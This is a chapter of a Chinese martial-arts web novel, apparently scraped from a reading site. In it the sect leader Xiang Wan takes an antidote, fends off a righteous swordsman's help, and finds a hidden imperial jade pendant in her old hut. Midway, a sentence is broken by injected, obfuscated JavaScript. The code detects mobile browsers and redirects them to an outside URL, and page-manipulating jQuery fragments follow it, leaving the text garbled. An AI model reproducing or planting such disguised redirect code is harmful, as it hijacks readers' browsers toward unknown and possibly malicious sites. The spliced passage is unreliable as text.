5. 赤峰山(五)

作品:《倾巢之下

    她拧着眉坐在那里沉寂了许久,方从冰冷的寒意里找回自己的神志,这一遭变故来的太过突然,彻底打乱了她的筹划,沉默半晌,向晚才稍稍释然,接过了孟客递来的药。


    那药粒黑色浑圆,吞入口中,即刻便融了,霎时间只觉得内力翻涌,经脉之间有股浊气横冲直撞,引得心口又是一阵钝痛,向晚勉强站稳身形,却还是拧着眉呕出一口血来,看得孟客心下一颤,忙抬手去扶,这番动作又扯动了身上的伤口,惹得向晚倒抽了一口凉气。


    她平复了好一会,方才将体内的气息抚平,长长叹出一口气来,这毒难解便也罢了,却又叫人如此痛苦,实在磋磨。


    一旁的裴央见了,更是心中恼怒,林渊楼竟得寸进尺至如此地步,实在是欺人太甚,他尚有满腔的正义,此时更是深色凛然,正色道:


    “向阁主,林渊楼此番行事不义,又害你受这般苦楚,近日里我一路走来,有关赤峰山的风言风语也听过不少,三年前的那场惨案明明是雨落血梅传人所为,怎么能这样无凭无据地将这此事栽赃于梧桐阁上?此事你且安心,直观好生养伤,我定会为你查清此事,还梧桐阁一个清白。”


    向晚抹去嘴角的血,勉强站直了身子,听了人这番豪言壮语不禁又是抽了一口气:


    怎么这雨落血梅的传人,就不能和梧桐阁的阁主是同一号人物呢......


    她向来是个随性的人,看着裴央那刚正不阿的样子便觉得头疼,可好歹此人方才也救了自己一命,总不好当真肆意妄为,叉着腰一面狞笑一面告诉他想不到吧小爷我正是那惨案的凶手,平日里带着梧桐阁更是无恶不作丧尽天良。


    她倒是不在乎这些个江湖上的虚名,可是瞧着裴央的这张脸,不知为何就是开不了这个口,只得无奈道:


    “多谢裴公子好意,只是梧桐阁的事情还是当由梧桐阁自行解决,就不再拖累旁人了。”


    裴央听出来人语气里无从掩饰的疲倦与虚弱,只当是为毒所累,不禁皱眉:


    “怎能说是拖累,此事既然牵扯到了林渊楼,便就是江湖事,更何况你还有伤,我定不会袖手旁观的。”


    向晚苦笑,一再推辞:


    “我这伤不打紧,这毒,大约也暂可缓解,赤峰山的事还是不劳烦裴公子了。”


    “那我便与你一道吧,你运功不能,一路同行我还能帮衬一二。”


    “不必,实在不必劳烦裴公子。”


    眼见向晚百般推辞,裴央当下板起了一张脸:


    “阁主不必推辞,江湖中人,路见不平拔刀相救乃是常事,更何况我钦佩阁主,更是有心与阁主结交为友的,江湖行走,义字为先,切不可执意孤僻。”


    他顿了顿,又道:


    “阁主倒也不像那些个江湖传闻所说的那般不好相与,为何便在此事上如此推辞呢?”


    向晚被他这番话说的愣然,默了半晌才反应过来,干巴巴地问道:


    “裴公子所说的,是何传言?”


    裴央闻言神色竟有些不自然,犹豫了会才开口道:


    “那些个传言,现下看来倒是不可信的,只是说,梧桐阁的向阁主,是个喜怒无常,孤僻桀骜之人,且有些个与旁人不同的嗜好,大约是,阁主不喜男色,偏好与女子契若金兰。”


    裴央说着,面上倒是极尽宽容之色,仿佛所言不过是穿衣吃饭这般的寻常事,只向晚听了目瞪口呆,不禁嘴角抽搐,哑然道:


    “谁说的我不喜男色?”


    裴央一愣,幸好向晚反应迅速:


    “我是说,这,这都是些什么八竿子打不着的传言?裴公子是从哪里听来的?”


    “临雪楼,我是听临雪楼的楼主亲口所言,难道皆是空穴来风?”


    就是那个丹药都卖得死贵的临雪楼?


    向晚此刻也顾不上毒侵入体的痛苦了,她深吸一口气,咬牙自齿缝挤出个名字来:


    “度长风。”


    也难怪裴央会笃信这等不着边际的传闻,这临雪楼除却售卖丹药方剂,却也是江湖之上数一数二的情报汇集地,可比这后起之秀梧桐阁要有口皆碑得多,其情报的可信度,自然是不在话下。


    两家虽是同行,但却并不相冲,临雪楼的灵丹妙药举世无双,而梧桐阁的诡药奇毒同样世所罕见,且临雪楼善阳谋出护卫,梧桐阁善诡计养杀手,二者也算是井水不犯河水,向晚与这临雪楼的楼主度长风,更是至交好友,不然这谣言想必还不至于如此离谱。


    裴央眨了眨眼,也觉得有些不妥,他端着小心又问了句:


    “那,那平素喜爱出入青楼,扬言将要掷千金只为博人一笑的传闻,也都是谣言了?”


    向晚咬牙,阴恻恻道:


    “甚好,度长风,度楼主,当真是甚好,我现下倒是想要抛掷千金,好好看一看这度长风还能不能笑得出来。”


    她倒是想不明白自己是那点得罪了这个小心眼的楼主,一旁的裴央连连行礼致歉,那好看的眉眼堆满了愧疚,却说了一句:


    “这样的话实在荒唐,是我多有冒犯,不如阁主便让我随行,保一路平安,权当赔罪。”


    倒是叫人反驳不能。


    向晚暗自叹气,心道这位既是举世无双的名门正派之徒,怎也要剑走偏锋,她有些无奈,只得应下:


    “那便多有劳烦了,只不过,同行可以,但裴公子需要在此等我片刻,我要去取一件东西。”


    她此番不等裴央回答,便挥手叫孟客与裴央也一并等在此处,随后几个垫步,头也不回地隐没在了竹林之中。


    这片竹林就生在聚灵穴的对面,竹枝掩映,细雪盖在竹叶上,林间风起的时候,雪屑便扑簌簌地落下,扑在人的额前,清清泠泠。


    她想起从前,师父总是会叫她去收竹叶上的新雪,以此煎茶煮药,她便托着一口莹白的瓷瓶,点步穿梭在林叶之间,收雪入瓶,起先林间还会卷起飞雪,再后来,便是她在叶间飞跑,也不再会惊落雪片了。


    练功,总是孤苦。


    林间的小路弯弯绕绕,行至深


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195552|165643||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    处,终见一间低矮破败的泥土屋,凌乱的瓦片盖着竹草,多年不加修缮,草丝被吹落不少,砌墙的灰土也斑驳一片。


    屋外用梨枝七扭八歪地围了个简陋的院子,院里院外都栽着翠竹,院落隐没于竹林间,乍然看去,竟是很难被发现。


    向晚顺路而行,踏过院内的杂草,推开了那土屋的破败木门,内里萧瑟寂寥,木门推开激起尘土纷纷,她站在门口向内望去,见屋内摆置与三年前别无二致,那时候她跟着师父修习雨落血梅,原先也是住在一处的,后来弟子众多,她便独自去了这僻静之地。


    空气中飘着一股腐旧的纸墨气息,混着霉味,这屋子里的地上,案上,塌上,皆是堆积如山的宣纸,上边的字迹不尽相同,瞧得出是临摹了不同的字帖,字墨连成片,像一幅朽旧的山水画。


    向晚踩着一地的宣纸走进去,堂屋正中横置着一方书案,上面还摆着干涸的砚,和半卷未写完的字。


    是一首亡国的词,只是还未写完,便斩了卷,墨点落在词中“梧桐”二字上,旁边便滚着一管狼毫,向晚瞧着那杆笔,似生出几分怀念来,拾来看去,笔尖干枯如乱草,自是一个字也写不出了。


    她平静如水,纤长的手指摩挲着笔杆,却忽而一个使力,一掌将这管狼毫拍在案上,那管狼毫应声而碎,断裂成两截,陈旧的木桌抖下一片尘土,土沫飞扬之间,竟从这桌案下弹出来一个小小的木匣夹层。


    向晚伸手向内探去,自那夹层之中摸出一只赤金水云纹的锦袋来,打眼一瞧便知并非俗品,其上纹样更是精巧,金线为枝,暖玉为花,俨然是一朵含露的海棠,袋子的系带上又缀珠宝,瞧着便价值不菲。


    可她只瞧了那锦袋一眼,便是神色一顿,浓云霎时间笼上了眉间。


    她沉着脸,将这锦袋的系带解开来,内里是枚墨玉镶宝的龙佩,一面镂着青龙衔珠,用了血珀替代南珠,另一面是拿金子镶成的一个“梁”字。


    这佩触手生温,雕工精巧,是件难得的宝物,其上龙纹盘旋,更是昭显了其来历不凡,这一枚玉佩,正是先帝亲自赐予当时的镇国公梁允,凭此玉符,入朝不趋,剑履上殿,赞拜不名。


    当年,梁家是前朝的股肱之臣,是先帝最为重信的一柄快刀。


    而今,事随风去,梁家的宅子在一场大火里烧为飞灰,连同这许多年的荣耀,封赏,今时不同往日了。


    向晚以手指勾勒这上面的字,她脸色并不好看,这锦袋的束口变了模样,定是被人动过了,若只是不相干的人,大费周章地寻得此玉牌,定会将其窃走换钱,可这玉却又安然无恙。


    她深吸一口气,环顾四周,这屋内除却她一人的足迹,竟毫无破绽,足可见此人武功甚高,但这却也不是最为棘手之事。


    向晚将玉符收入锦袋,她长出一口气,顿觉心绪烦乱。


    最为棘手的是,此人所行所为,只想要向晚知道:


    “他自是通晓一切秘辛,身世,过往,这玉符的含义。”


    “他都知道。”